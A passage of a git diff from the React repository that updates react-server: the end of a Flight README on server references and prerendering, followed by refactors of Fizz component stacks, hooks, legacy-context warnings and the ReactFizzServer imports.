+    <ClientComp onClick={alert} message={"hello world"} />
+  </App>,
+...)
+```
+
+#### Server References
+Similarly When a React Server Component framework bundles an application and encounters a `"use server"` directive in a file or in a function body, including closures, it must implement that function as as a server entrypoint that can be called from the client. To make `Flight` aware that a function is a Server Reference the function should be registered with `registerServerReference()`.
+
+```js
+
+async function logOnServer(message) {
+  "use server"
+  console.log(message)
+}
+
+async function App({ children }) {
+  // logOnServer can be used in a Server Component
+  logOnServer('used from server')
+  return children
+}
+
+createResponse(
+  <App >
+    <ClientComp onClick={logOnServer} message={"used from client"} />
+  </App>,
+...)
+```
+
+### `Flight` Prerendering
+
+When rendering with `react-server` there are two broad contexts when this might happen. Realtime when responding to a user request and ahead of time when prerendering a page that can later be used more than once.
+
+While the core rendering implementation is the same in both cases there are subtle differences we can adopt that take advantage of the context. For instance while rendering in response to a real user request we want to stream eagerly if the consumer is requesting information. This allows us to stream content to the consumer as it becomes available but might have implications for the stability of the serialized format. When prerendering we assume there is not urgency to producing a partial result as quickly as possible so we can alter the internal implementation take advantage of this. To implement a prerender API use `createPrerenderRequest` in place of `createRequest`.
+
+One key semantic change prerendering has with rendering is how errors are handled. When rendering an error is embedded into the output and must be handled by the consumer such as an SSR render or on the client. However with prerendering there is an expectation that if the prerender errors then the entire prerender will be discarded or it will be used but the consumer will attempt to recover that error by asking for a dynamic render. This is analogous to how errors during SSR aren't immediately handled they are actually encoded as requests for client recovery. The error only is observed if the retry on the client actually fails. To account for this prerenders simply omit parts of the model that errored. you can use the `onError` argument in `createPrerenderRequest` to observe if an error occurred and users of your `prerender` implementation can choose whether to abandon the prerender or implement dynamic recovery when an error occurs.
+
+Existing implementations only return the stream containing the output of the prerender once it has completed. In the future we may introduce a `resume` API similar to the one that exists for `Fizz`. In anticipation of such an API it is expected that implementations of `prerender` return the type `Promise<{ prelude: <Host Appropriate Stream Type> }>`
+
+```js
+function prerender(
+  model: ReactClientValue,
+  clientManifest: ClientManifest,
+  options?: Options,
+): Promise<StaticResult> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      const stream = new ReadableStream(
+        {
+          type: 'bytes',
+          start: (controller): ?Promise<void> => {
+            startWork(request);
+          },
+          pull: (controller): ?Promise<void> => {
+            startFlowing(request, controller);
+          },
+          cancel: (reason): ?Promise<void> => {
+            stopFlowing(request);
+            abort(request, reason);
+          },
+        },
+        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.
+        {highWaterMark: 0},
+      );
+      resolve({prelude: stream});
+    }
+    const request = createPrerenderRequest(
+      model,
+      clientManifest,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+    );
+    startWork(request);
+  });
+}
+```
+
+## `Flight` Reference (Incomplete)
+
+### `createRequest(model, bundlerConfig, ...options): Request`
+
+The signature of this method changes as we evolve the project so this Readme will omit the specific signature but generally this function will produce a Request that represents the rendering of some React application (the model) along with implementation specific bundler configuration. Typically this configuration will tell the `Flight` implementation how to encode Client References in the serialized output
+
+The `RequestInstance` represents the render.
+
+Rendering does not actually begin until you call `startWork`
+
+### `createPrerenderRequest(model, bundlerConfig, ...options): Request`
+
+This is similar to `createRequest` but it alters some internal semantics for how errors and aborts are treated. It returns the same type as `createRequest`.
+
+### `startWork(request: Request): void`
+
+When passed a request this will initiate the actual render. It will continue until it completes
+
+### `startFlowing(request: Request, destination: Destination): void`
+
+a destination is whatever the implementation wants to use for storing the output of the render. In existing implementations it is either a Node stream or a Web stream. When you call `startFlowing` the request will write to the destination continuously whenever more chunks are unblocked, say after an async function has resolved and there is something new to serialize. You can implement streaming backpressure using `stopFlowing()`
+
+### `stopFlowing(request: Request): void`
+
+If you need to pause or permanently end the writing of any additional serialized output for this request you can call `stopFlowing(request)`. You may start flowing again after you've stopped. This is how you would implement backpressure support for streams for instance. It's important to note that stopping flowing is not going to stop rendering. If you want rendering to stop you must `abort` the request.
+
+### `abort(request: Request): void`
+
+If you want to stop rendering you can abort the request with `abort(request)`. This will cause all incomplete work to be abandoned. If the request was created with `createRequest` the abort will encode errors into any unfinished slots in the serialization. If the request was created with `createPrerenderRequest` the abort will omit anything in the places that are unfinished leaving the serialized model in an incomplete state.
diff --git a/packages/react-server/flight.js b/packages/react-server/flight.js
index 4c5bb964cb7e..fe608c9db089 100644
--- a/packages/react-server/flight.js
+++ b/packages/react-server/flight.js
@@ -7,4 +7,11 @@
  * @flow
  */
 
+import typeof * as FlightServerAPI from './src/ReactFlightServer';
+import typeof * as HostConfig from './src/ReactFlightServerConfig';
+
 export * from './src/ReactFlightServer';
+
+// At build time, this module is wrapped as a factory function ($$$reconciler).
+// Consumers pass a host config object and get back the Flight server API.
+declare export default (hostConfig: HostConfig) => FlightServerAPI;
diff --git a/packages/react-server/index.js b/packages/react-server/index.js
index ca299b414321..57cd731aa107 100644
--- a/packages/react-server/index.js
+++ b/packages/react-server/index.js
@@ -7,4 +7,11 @@
  * @flow
  */
 
+import typeof * as FizzAPI from './src/ReactFizzServer';
+import typeof * as HostConfig from './src/ReactFizzConfig';
+
 export * from './src/ReactFizzServer';
+
+// At build time, this module is wrapped as a factory function ($$$reconciler).
+// Consumers pass a host config object and get back the Fizz server API.
+declare export default (hostConfig: HostConfig) => FizzAPI;
diff --git a/packages/react-server/src/ReactFizzAsyncDispatcher.js b/packages/react-server/src/ReactFizzAsyncDispatcher.js
index 8e8cb2e21999..d20acdd5e9a8 100644
--- a/packages/react-server/src/ReactFizzAsyncDispatcher.js
+++ b/packages/react-server/src/ReactFizzAsyncDispatcher.js
@@ -8,20 +8,28 @@
  */
 
 import type {AsyncDispatcher} from 'react-reconciler/src/ReactInternalTypes';
+import type {ComponentStackNode} from './ReactFizzComponentStack';
 
-import {disableStringRefs} from 'shared/ReactFeatureFlags';
+import {currentTaskInDEV} from './ReactFizzCurrentTask';
 
 function getCacheForType<T>(resourceType: () => T): T {
   throw new Error('Not implemented.');
 }
 
+function cacheSignal(): null | AbortSignal {
+  throw new Error('Not implemented.');
+}
+
 export const DefaultAsyncDispatcher: AsyncDispatcher = ({
   getCacheForType,
+  cacheSignal,
 }: any);
 
-if (__DEV__ || !disableStringRefs) {
-  // Fizz never tracks owner but the JSX runtime looks for this.
-  DefaultAsyncDispatcher.getOwner = (): null => {
-    return null;
+if (__DEV__) {
+  DefaultAsyncDispatcher.getOwner = (): ComponentStackNode | null => {
+    if (currentTaskInDEV === null) {
+      return null;
+    }
+    return currentTaskInDEV.componentStack;
   };
 }
diff --git a/packages/react-server/src/ReactFizzCallUserSpace.js b/packages/react-server/src/ReactFizzCallUserSpace.js
new file mode 100644
index 000000000000..d90a80ec0e84
--- /dev/null
+++ b/packages/react-server/src/ReactFizzCallUserSpace.js
@@ -0,0 +1,61 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {LazyComponent} from 'react/src/ReactLazy';
+
+// These indirections exists so we can exclude its stack frame in DEV (and anything below it).
+// TODO: Consider marking the whole bundle instead of these boundaries.
+
+const callComponent = {
+  react_stack_bottom_frame: function <Props, Arg, R>(
+    Component: (p: Props, arg: Arg) => R,
+    props: Props,
+    secondArg: Arg,
+  ): R {
+    return Component(props, secondArg);
+  },
+};
+
+export const callComponentInDEV: <Props, Arg, R>(
+  Component: (p: Props, arg: Arg) => R,
+  props: Props,
+  secondArg: Arg,
+) => R = __DEV__
+  ? // We use this technique to trick minifiers to preserve the function name.
+    (callComponent.react_stack_bottom_frame.bind(callComponent): any)
+  : (null: any);
+
+interface ClassInstance<R> {
+  render(): R;
+}
+
+const callRender = {
+  react_stack_bottom_frame: function <R>(instance: ClassInstance<R>): R {
+    return instance.render();
+  },
+};
+
+export const callRenderInDEV: <R>(instance: ClassInstance<R>) => R => R =
+  __DEV__
+    ? // We use this technique to trick minifiers to preserve the function name.
+      (callRender.react_stack_bottom_frame.bind(callRender): any)
+    : (null: any);
+
+const callLazyInit = {
+  react_stack_bottom_frame: function (lazy: LazyComponent<any, any>): any {
+    const payload = lazy._payload;
+    const init = lazy._init;
+    return init(payload);
+  },
+};
+
+export const callLazyInitInDEV: (lazy: LazyComponent<any, any>) => any = __DEV__
+  ? // We use this technique to trick minifiers to preserve the function name.
+    (callLazyInit.react_stack_bottom_frame.bind(callLazyInit): any)
+  : (null: any);
diff --git a/packages/react-server/src/ReactFizzClassComponent.js b/packages/react-server/src/ReactFizzClassComponent.js
index 4a10d3db562c..28c8ac6edcb3 100644
--- a/packages/react-server/src/ReactFizzClassComponent.js
+++ b/packages/react-server/src/ReactFizzClassComponent.js
@@ -7,7 +7,7 @@
  * @flow
  */
 
-import {emptyContextObject} from './ReactFizzContext';
+import {emptyContextObject} from './ReactFizzLegacyContext';
 import {readContext} from './ReactFizzNewContext';
 
 import {disableLegacyContext} from 'shared/ReactFeatureFlags';
@@ -26,6 +26,8 @@ let didWarnAboutLegacyLifecyclesAndDerivedState;
 let didWarnAboutUndefinedDerivedState;
 let didWarnAboutDirectlyAssigningPropsToState;
 let didWarnAboutContextTypeAndContextTypes;
+let didWarnAboutContextTypes;
+let didWarnAboutChildContextTypes;
 let didWarnAboutInvalidateContextType;
 let didWarnOnInvalidCallback;
 
@@ -36,6 +38,8 @@ if (__DEV__) {
   didWarnAboutDirectlyAssigningPropsToState = new Set<string>();
   didWarnAboutUndefinedDerivedState = new Set<string>();
   didWarnAboutContextTypeAndContextTypes = new Set<mixed>();
+  didWarnAboutContextTypes = new Set<mixed>();
+  didWarnAboutChildContextTypes = new Set<mixed>();
   didWarnAboutInvalidateContextType = new Set<mixed>();
   didWarnOnInvalidCallback = new Set<string>();
 }
@@ -75,7 +79,7 @@ function warnOnUndefinedDerivedState(type: any, partialState: any) {
 }
 
 function warnNoop(
-  publicInstance: React$Component<any, any>,
+  publicInstance: component(...props: any),
   callerName: string,
 ) {
   if (__DEV__) {
@@ -104,9 +108,6 @@ type InternalInstance = {
 };
 
 const classComponentUpdater = {
-  isMounted(inst: any) {
-    return false;
-  },
   // $FlowFixMe[missing-local-annot]
   enqueueSetState(inst: any, payload: any, callback) {
     const internals: InternalInstance = getInstance(inst);
@@ -353,13 +354,6 @@ function checkClassInstance(instance: any, ctor: any, newProps: any) {
         name,
       );
     }
-    if (instance.propTypes) {
-      console.error(
-        'propTypes was defined as an instance property on %s. Use a static ' +
-          'property to define propTypes instead.',
-        name,
-      );
-    }
     if (instance.contextType) {
       console.error(
         'contextType was defined as an instance property on %s. Use a static ' +
@@ -369,17 +363,20 @@ function checkClassInstance(instance: any, ctor: any, newProps: any) {
     }
 
     if (disableLegacyContext) {
-      if (ctor.childContextTypes) {
+      if (ctor.childContextTypes && !didWarnAboutChildContextTypes.has(ctor)) {
+        didWarnAboutChildContextTypes.add(ctor);
         console.error(
           '%s uses the legacy childContextTypes API which was removed in React 19. ' +
-            'Use React.createContext() instead.',
+            'Use React.createContext() instead. (https://react.dev/link/legacy-context)',
           name,
         );
       }
-      if (ctor.contextTypes) {
+      if (ctor.contextTypes && !didWarnAboutContextTypes.has(ctor)) {
+        didWarnAboutContextTypes.add(ctor);
         console.error(
           '%s uses the legacy contextTypes API which was removed in React 19. ' +
-            'Use React.createContext() with static contextType instead.',
+            'Use React.createContext() with static contextType instead. ' +
+            '(https://react.dev/link/legacy-context)',
           name,
         );
       }
@@ -387,7 +384,7 @@ function checkClassInstance(instance: any, ctor: any, newProps: any) {
       if (instance.contextTypes) {
         console.error(
           'contextTypes was defined as an instance property on %s. Use a static ' +
-            'property to define contextTypes instead.',
+            'property to define contextTypes instead. (https://react.dev/link/legacy-context)',
           name,
         );
       }
@@ -404,6 +401,23 @@ function checkClassInstance(instance: any, ctor: any, newProps: any) {
           name,
         );
       }
+      if (ctor.childContextTypes && !didWarnAboutChildContextTypes.has(ctor)) {
+        didWarnAboutChildContextTypes.add(ctor);
+        console.error(
+          '%s uses the legacy childContextTypes API which will soon be removed. ' +
+            'Use React.createContext() instead. (https://react.dev/link/legacy-context)',
+          name,
+        );
+      }
+      if (ctor.contextTypes && !didWarnAboutContextTypes.has(ctor)) {
+        didWarnAboutContextTypes.add(ctor);
+        console.error(
+          '%s uses the legacy contextTypes API which will soon be removed. ' +
+            'Use React.createContext() with static contextType instead. ' +
+            '(https://react.dev/link/legacy-context)',
+          name,
+        );
+      }
     }
 
     if (typeof instance.componentShouldUpdate === 'function') {
diff --git a/packages/react-server/src/ReactFizzComponentStack.js b/packages/react-server/src/ReactFizzComponentStack.js
index 84b4d82d8d45..467cf48646c9 100644
--- a/packages/react-server/src/ReactFizzComponentStack.js
+++ b/packages/react-server/src/ReactFizzComponentStack.js
@@ -7,32 +7,103 @@
  * @flow
  */
 
+import type {ReactComponentInfo, ReactAsyncInfo} from 'shared/ReactTypes';
+import type {LazyComponent} from 'react/src/ReactLazy';
+
 import {
   describeBuiltInComponentFrame,
   describeFunctionComponentFrame,
   describeClassComponentFrame,
+  describeDebugInfoFrame,
 } from 'shared/ReactComponentStackFrame';
 
-// DEV-only reverse linked list representing the current component stack
-type BuiltInComponentStackNode = {
-  tag: 0,
-  parent: null | ComponentStackNode,
-  type: string,
-};
-type FunctionComponentStackNode = {
-  tag: 1,
-  parent: null | ComponentStackNode,
-  type: Function,
-};
-type ClassComponentStackNode = {
-  tag: 2,
+import {
+  REACT_FORWARD_REF_TYPE,
+  REACT_MEMO_TYPE,
+  REACT_LAZY_TYPE,
+  REACT_SUSPENSE_LIST_TYPE,
+  REACT_SUSPENSE_TYPE,
+  REACT_VIEW_TRANSITION_TYPE,
+} from 'shared/ReactSymbols';
+
+import {enableViewTransition} from 'shared/ReactFeatureFlags';
+
+import {formatOwnerStack} from 'shared/ReactOwnerStackFrames';
+
+export type ComponentStackNode = {
   parent: null | ComponentStackNode,
-  type: Function,
+  type:
+    | symbol
+    | string
+    | Function
+    | LazyComponent<any, any>
+    | ReactComponentInfo
+    | ReactAsyncInfo,
+  owner?: null | ReactComponentInfo | ComponentStackNode, // DEV only
+  stack?: null | string | Error, // DEV only
 };
-export type ComponentStackNode =
-  | BuiltInComponentStackNode
-  | FunctionComponentStackNode
-  | ClassComponentStackNode;
+
+function shouldConstruct(Component: any) {
+  return Component.prototype && Component.prototype.isReactComponent;
+}
+
+function describeComponentStackByType(
+  type:
+    | symbol
+    | string
+    | Function
+    | LazyComponent<any, any>
+    | ReactComponentInfo,
+): string {
+  if (typeof type === 'string') {
+    return describeBuiltInComponentFrame(type);
+  }
+  if (typeof type === 'function') {
+    if (shouldConstruct(type)) {
+      return describeClassComponentFrame(type);
+    } else {
+      return describeFunctionComponentFrame(type);
+    }
+  }
+  if (typeof type === 'object' && type !== null) {
+    switch (type.$$typeof) {
+      case REACT_FORWARD_REF_TYPE: {
+        return describeFunctionComponentFrame((type: any).render);
+      }
+      case REACT_MEMO_TYPE: {
+        return describeFunctionComponentFrame((type: any).type);
+      }
+      case REACT_LAZY_TYPE: {
+        const lazyComponent: LazyComponent<any, any> = (type: any);
+        const payload = lazyComponent._payload;
+        const init = lazyComponent._init;
+        try {
+          type = init(payload);
+        } catch (x) {
+          // TODO: When we support Thenables as component types we should rename this.
+          return describeBuiltInComponentFrame('Lazy');
+        }
+        return describeComponentStackByType(type);
+      }
+    }
+    if (typeof type.name === 'string') {
+      return describeDebugInfoFrame(type.name, type.env, type.debugLocation);
+    }
+  }
+  switch (type) {
+    case REACT_SUSPENSE_LIST_TYPE: {
+      return describeBuiltInComponentFrame('SuspenseList');
+    }
+    case REACT_SUSPENSE_TYPE: {
+      return describeBuiltInComponentFrame('Suspense');
+    }
+    case REACT_VIEW_TRANSITION_TYPE:
+      if (enableViewTransition) {
+        return describeBuiltInComponentFrame('ViewTransition');
+      }
+  }
+  return '';
+}
 
 export function getStackByComponentStackNode(
   componentStack: ComponentStackNode,
@@ -41,17 +112,7 @@ export function getStackByComponentStackNode(
     let info = '';
     let node: ComponentStackNode = componentStack;
     do {
-      switch (node.tag) {
-        case 0:
-          info += describeBuiltInComponentFrame(node.type);
-          break;
-        case 1:
-          info += describeFunctionComponentFrame(node.type);
-          break;
-        case 2:
-          info += describeClassComponentFrame(node.type);
-          break;
-      }
+      info += describeComponentStackByType(node.type);
       // $FlowFixMe[incompatible-type] we bail out when we get a null
       node = node.parent;
     } while (node);
@@ -60,3 +121,80 @@ export function getStackByComponentStackNode(
     return '\nError generating stack: ' + x.message + '\n' + x.stack;
   }
 }
+
+function describeFunctionComponentFrameWithoutLineNumber(fn: Function): string {
+  // We use this because we don't actually want to describe the line of the component
+  // but just the component name.
+  const name = fn ? fn.displayName || fn.name : '';
+  return name ? describeBuiltInComponentFrame(name) : '';
+}
+
+export function getOwnerStackByComponentStackNodeInDev(
+  componentStack: ComponentStackNode,
+): string {
+  if (!__DEV__) {
+    return '';
+  }
+  try {
+    let info = '';
+
+    // The owner stack of the current component will be where it was created, i.e. inside its owner.
+    // There's no actual name of the currently executing component. Instead, that is available
+    // on the regular stack that's currently executing. However, for built-ins there is no such
+    // named stack frame and it would be ignored as being internal anyway. Therefore we add
+    // add one extra frame just to describe the "current" built-in component by name.
+    // Similarly, if there is no owner at all, then there's no stack frame so we add the name
+    // of the root component to the stack to know which component is currently executing.
+    if (typeof componentStack.type === 'string') {
+      info += describeBuiltInComponentFrame(componentStack.type);
+    } else if (typeof componentStack.type === 'function') {
+      if (!componentStack.owner) {
+        // Only if we have no other data about the callsite do we add
+        // the component name as the single stack frame.
+        info += describeFunctionComponentFrameWithoutLineNumber(
+          componentStack.type,
+        );
+      }
+    } else {
+      if (!componentStack.owner) {
+        info += describeComponentStackByType(componentStack.type);
+      }
+    }
+
+    let owner: void | null | ComponentStackNode | ReactComponentInfo =
+      componentStack;
+
+    while (owner) {
+      let ownerStack: ?string = null;
+      if (owner.debugStack != null) {
+        // Server Component
+        // TODO: Should we stash this somewhere for caching purposes?
+        ownerStack = formatOwnerStack(owner.debugStack);
+        owner = owner.owner;
+      } else {
+        // Client Component
+        const node: ComponentStackNode = (owner: any);
+        if (node.stack != null) {
+          if (typeof node.stack !== 'string') {
+            ownerStack = node.stack = formatOwnerStack(node.stack);
+          } else {
+            ownerStack = node.stack;
+          }
+        }
+        owner = owner.owner;
+      }
+      // If we don't actually print the stack if there is no owner of this JSX element.
+      // In a real app it's typically not useful since the root app is always controlled
+      // by the framework. These also tend to have noisy stacks because they're not rooted
+      // in a React render but in some imperative bootstrapping code. It could be useful
+      // if the element was created in module scope. E.g. hoisted. We could add a a single
+      // stack frame for context for example but it doesn't say much if that's a wrapper.
+      if (owner && ownerStack) {
+        info += '\n' + ownerStack;
+      }
+    }
+    return info;
+  } catch (x) {
+    return '\nError generating stack: ' + x.message + '\n' + x.stack;
+  }
+}
diff --git a/packages/react-server/src/ReactFizzCurrentTask.js b/packages/react-server/src/ReactFizzCurrentTask.js
new file mode 100644
index 000000000000..3bd62f0a5cde
--- /dev/null
+++ b/packages/react-server/src/ReactFizzCurrentTask.js
@@ -0,0 +1,19 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Task} from './ReactFizzServer';
+
+// DEV-only global reference to the currently executing task
+export let currentTaskInDEV: null | Task = null;
+
+export function setCurrentTaskInDEV(task: null | Task): void {
+  if (__DEV__) {
+    currentTaskInDEV = task;
+  }
+}
diff --git a/packages/react-server/src/ReactFizzHooks.js b/packages/react-server/src/ReactFizzHooks.js
index 05cc1a2e1bea..24e676fc7108 100644
--- a/packages/react-server/src/ReactFizzHooks.js
+++ b/packages/react-server/src/ReactFizzHooks.js
@@ -31,16 +31,13 @@ import {
   readPreviousThenable,
 } from './ReactFizzThenable';
 
-import {makeId, NotPendingTransition} from './ReactFizzConfig';
+import {
+  makeId,
+  NotPendingTransition,
+  supportsClientAPIs,
+} from './ReactFizzConfig';
 import {createFastHash} from './ReactServerStreamConfig';
 
-import {
-  enableCache,
-  enableUseEffectEventHook,
-  enableUseMemoCacheHook,
-  enableAsyncActions,
-  enableUseDeferredValueInitialArg,
-} from 'shared/ReactFeatureFlags';
 import is from 'shared/objectIs';
 import {
   REACT_CONTEXT_TYPE,
@@ -49,6 +46,8 @@ import {
 import {checkAttributeStringCoercion} from 'shared/CheckStringCoercion';
 import {getFormState} from './ReactFizzServer';
 
+import noop from 'shared/noop';
+
 type BasicStateAction<S> = (S => S) | S;
 type Dispatch<A> = A => void;
 
@@ -566,11 +565,7 @@ function useSyncExternalStore<T>(
 
 function useDeferredValue<T>(value: T, initialValue?: T): T {
   resolveCurrentlyRenderingComponent();
-  if (enableUseDeferredValueInitialArg) {
-    return initialValue !== undefined ? initialValue : value;
-  } else {
-    return value;
-  }
+  return initialValue !== undefined ? initialValue : value;
 }
 
 function unsupportedStartTransition() {
@@ -793,7 +788,7 @@ function useCacheRefresh(): <T>(?() => T, ?T) => void {
   return unsupportedRefresh;
 }
 
-function useMemoCache(size: number): Array<any> {
+function useMemoCache(size: number): Array<mixed> {
   const data = new Array<any>(size);
   for (let i = 0; i < size; i++) {
     data[i] = REACT_MEMO_CACHE_SENTINEL;
@@ -801,50 +796,71 @@ function useMemoCache(size: number): Array<any> {
   return data;
 }
 
-function noop(): void {}
-
-export const HooksDispatcher: Dispatcher = {
-  readContext,
-  use,
-  useContext,
-  useMemo,
-  useReducer,
-  useRef,
-  useState,
-  useInsertionEffect: noop,
-  useLayoutEffect: noop,
-  useCallback,
-  // useImperativeHandle is not run in the server environment
-  useImperativeHandle: noop,
-  // Effects are not run in the server environment.
-  useEffect: noop,
-  // Debugging effect
-  useDebugValue: noop,
-  useDeferredValue,
-  useTransition,
-  useId,
-  // Subscriptions are not setup in a server environment.
-  useSyncExternalStore,
-};
-
-if (enableCache) {
-  HooksDispatcher.useCacheRefresh = useCacheRefresh;
-}
-if (enableUseEffectEventHook) {
-  HooksDispatcher.useEffectEvent = useEffectEvent;
-}
-if (enableUseMemoCacheHook) {
-  HooksDispatcher.useMemoCache = useMemoCache;
-}
-if (enableAsyncActions) {
-  HooksDispatcher.useHostTransitionStatus = useHostTransitionStatus;
-}
-if (enableAsyncActions) {
-  HooksDispatcher.useOptimistic = useOptimistic;
-  HooksDispatcher.useFormState = useActionState;
-  HooksDispatcher.useActionState = useActionState;
+function clientHookNotSupported() {
+  throw new Error(
+    'Cannot use state or effect Hooks in renderToHTML because ' +
+      'this component will never be hydrated.',
+  );
 }
 
+export const HooksDispatcher: Dispatcher = supportsClientAPIs
+  ? {
+      readContext,
+      use,
+      useContext,
+      useMemo,
+      useReducer,
+      useRef,
+      useState,
+      useInsertionEffect: noop,
+      useLayoutEffect: noop,
+      useCallback,
+      // useImperativeHandle is not run in the server environment
+      useImperativeHandle: noop,
+      // Effects are not run in the server environment.
+      useEffect: noop,
+      // Debugging effect
+      useDebugValue: noop,
+      useDeferredValue,
+      useTransition,
+      useId,
+      // Subscriptions are not setup in a server environment.
+      useSyncExternalStore,
+      useOptimistic,
+      useActionState,
+      useFormState: useActionState,
+      useHostTransitionStatus,
+      useMemoCache,
+      useCacheRefresh,
+      useEffectEvent,
+    }
+  : {
+      readContext,
+      use,
+      useCallback,
+      useContext,
+      useEffect: clientHookNotSupported,
+      useImperativeHandle: clientHookNotSupported,
+      useInsertionEffect: clientHookNotSupported,
+      useLayoutEffect: clientHookNotSupported,
+      useMemo,
+      useReducer: clientHookNotSupported,
+      useRef: clientHookNotSupported,
+      useState: clientHookNotSupported,
+      useDebugValue: noop,
+      useDeferredValue: clientHookNotSupported,
+      useTransition: clientHookNotSupported,
+      useSyncExternalStore: clientHookNotSupported,
+      useId,
+      useHostTransitionStatus,
+      useFormState: useActionState,
+      useActionState,
+      useOptimistic,
+      useMemoCache,
+      useCacheRefresh,
+      useEffectEvent,
+    };
+
 export let currentResumableState: null | ResumableState = (null: any);
 export function setCurrentResumableState(
   resumableState: null | ResumableState,
diff --git a/packages/react-server/src/ReactFizzContext.js b/packages/react-server/src/ReactFizzLegacyContext.js
similarity index 100%
rename from packages/react-server/src/ReactFizzContext.js
rename to packages/react-server/src/ReactFizzLegacyContext.js
diff --git a/packages/react-server/src/ReactFizzServer.js b/packages/react-server/src/ReactFizzServer.js
index eedae9a46f1b..0b115199fc3b 100644
--- a/packages/react-server/src/ReactFizzServer.js
+++ b/packages/react-server/src/ReactFizzServer.js
@@ -16,15 +16,24 @@ import type {
   ReactNodeList,
   ReactContext,
   ReactConsumerType,
-  OffscreenMode,
   Wakeable,
   Thenable,
   ReactFormState,
+  ReactComponentInfo,
+  ReactDebugInfo,
+  ReactAsyncInfo,
+  ViewTransitionProps,
+  ActivityProps,
+  SuspenseProps,
+  SuspenseListProps,
+  SuspenseListRevealOrder,
+  ReactKey,
 } from 'shared/ReactTypes';
 import type {LazyComponent as LazyComponentType} from 'react/src/ReactLazy';
 import type {
   RenderState,
   ResumableState,
+  PreambleState,
   FormatContext,
   HoistableState,
 } from './ReactFizzConfig';
@@ -32,10 +41,12 @@ import type {ContextSnapshot} from './ReactFizzNewContext';
 import type {ComponentStackNode} from './ReactFizzComponentStack';
 import type {TreeContext} from './ReactFizzTreeContext';
 import type {ThenableState} from './ReactFizzThenable';
+
 import {describeObjectForErrorMessage} from 'shared/ReactSerializationErrors';
 
 import {
   scheduleWork,
+  scheduleMicrotask,
   beginWriting,
   writeChunk,
   writeChunkAndReturn,
@@ -43,10 +54,13 @@ import {
   flushBuffered,
   close,
   closeWithError,
+  byteLengthOfChunk,
 } from './ReactServerStreamConfig';
 import {
   writeCompletedRoot,
   writePlaceholder,
+  pushStartActivityBoundary,
+  pushEndActivityBoundary,
   writeStartCompletedSuspenseBoundary,
   writeStartPendingSuspenseBoundary,
   writeStartClientRenderedSuspenseBoundary,
@@ -62,15 +76,18 @@ import {
   pushTextInstance,
   pushStartInstance,
   pushEndInstance,
-  pushStartCompletedSuspenseBoundary,
-  pushEndCompletedSuspenseBoundary,
   pushSegmentFinale,
   getChildFormatContext,
+  getSuspenseFallbackFormatContext,
+  getSuspenseContentFormatContext,
+  getViewTransitionFormatContext,
   writeHoistables,
-  writePreamble,
+  writePreambleStart,
+  writePreambleEnd,
   writePostamble,
   hoistHoistables,
   createHoistableState,
+  createPreambleState,
   supportsRequestStorage,
   requestStorage,
   pushFormStateMarkerIsMatching,
@@ -78,6 +95,12 @@ import {
   resetResumableState,
   completeResumableState,
   emitEarlyPreloads,
+  bindToConsole,
+  canHavePreamble,
+  hoistPreambleState,
+  isPreambleReady,
+  isPreambleContext,
+  hasSuspenseyContent,
 } from './ReactFizzConfig';
 import {
   constructClassInstance,
@@ -87,7 +110,7 @@ import {
   getMaskedContext,
   processChildContext,
   emptyContextObject,
-} from './ReactFizzContext';
+} from './ReactFizzLegacyContext';
 import {
   readContext,
   rootContextSnapshot,
@@ -112,9 +135,23 @@ import {
   getActionStateMatchingIndex,
 } from './ReactFizzHooks';
 import {DefaultAsyncDispatcher} from './ReactFizzAsyncDispatcher';
-import {getStackByComponentStackNode} from './ReactFizzComponentStack';
+import {
+  getStackByComponentStackNode,
+  getOwnerStackByComponentStackNodeInDev,
+} from './ReactFizzComponentStack';
 import {emptyTreeContext, pushTreeContext} from './ReactFizzTreeContext';
+import {currentTaskInDEV, setCurrentTaskInDEV} from './ReactFizzCurrentTask';
+import {
+  callLazyInitInDEV,
+  callComponentInDEV,
+  callRenderInDEV,
+} from './ReactFizzCallUserSpace';
+import {
+  getViewTransitionClassName,
+  getViewTransitionName,
+} from './ReactFizzViewTransitionComponent';
 
+import {resetOwnerStackLimit} from 'shared/ReactOwnerStackReset';
 import {
   getIteratorFn,
   ASYNC_ITERATOR,
@@ -123,39 +160,43 @@ import {
   REACT_LAZY_TYPE,
   REACT_SUSPENSE_TYPE,
   REACT_LEGACY_HIDDEN_TYPE,
-  REACT_DEBUG_TRACING_MODE_TYPE,
   REACT_STRICT_MODE_TYPE,
   REACT_PROFILER_TYPE,
   REACT_SUSPENSE_LIST_TYPE,
   REACT_FRAGMENT_TYPE,
   REACT_FORWARD_REF_TYPE,
   REACT_MEMO_TYPE,
-  REACT_PROVIDER_TYPE,
   REACT_CONTEXT_TYPE,
   REACT_CONSUMER_TYPE,
   REACT_SCOPE_TYPE,
-  REACT_OFFSCREEN_TYPE,
-  REACT_POSTPONE_TYPE,
+  REACT_VIEW_TRANSITION_TYPE,
+  REACT_ACTIVITY_TYPE,
+  REACT_OPTIMISTIC_KEY,
 } from 'shared/ReactSymbols';
 import ReactSharedInternals from 'shared/ReactSharedInternals';
 import {
   disableLegacyContext,
+  disableLegacyContextForFunctionComponents,
   enableScopeAPI,
-  enableSuspenseAvoidThisFallbackFizz,
-  enableCache,
-  enablePostpone,
-  enableRenderableContext,
-  enableRefAsProp,
-  disableDefaultPropsExceptForClasses,
   enableAsyncIterableChildren,
-  disableStringRefs,
+  enableViewTransition,
+  enableFizzBlockingRender,
+  enableAsyncDebugInfo,
+  enableCPUSuspense,
 } from 'shared/ReactFeatureFlags';
 
 import assign from 'shared/assign';
+import noop from 'shared/noop';
 import getComponentNameFromType from 'shared/getComponentNameFromType';
 import isArray from 'shared/isArray';
-import {SuspenseException, getSuspendedThenable} from './ReactFizzThenable';
-import type {Postpone} from 'react/src/ReactPostpone';
+import {
+  SuspenseException,
+  getSuspendedThenable,
+  ensureSuspendableThenableStateDEV,
+  getSuspendedCallSiteStackDEV,
+  getSuspendedCallSiteDebugTaskDEV,
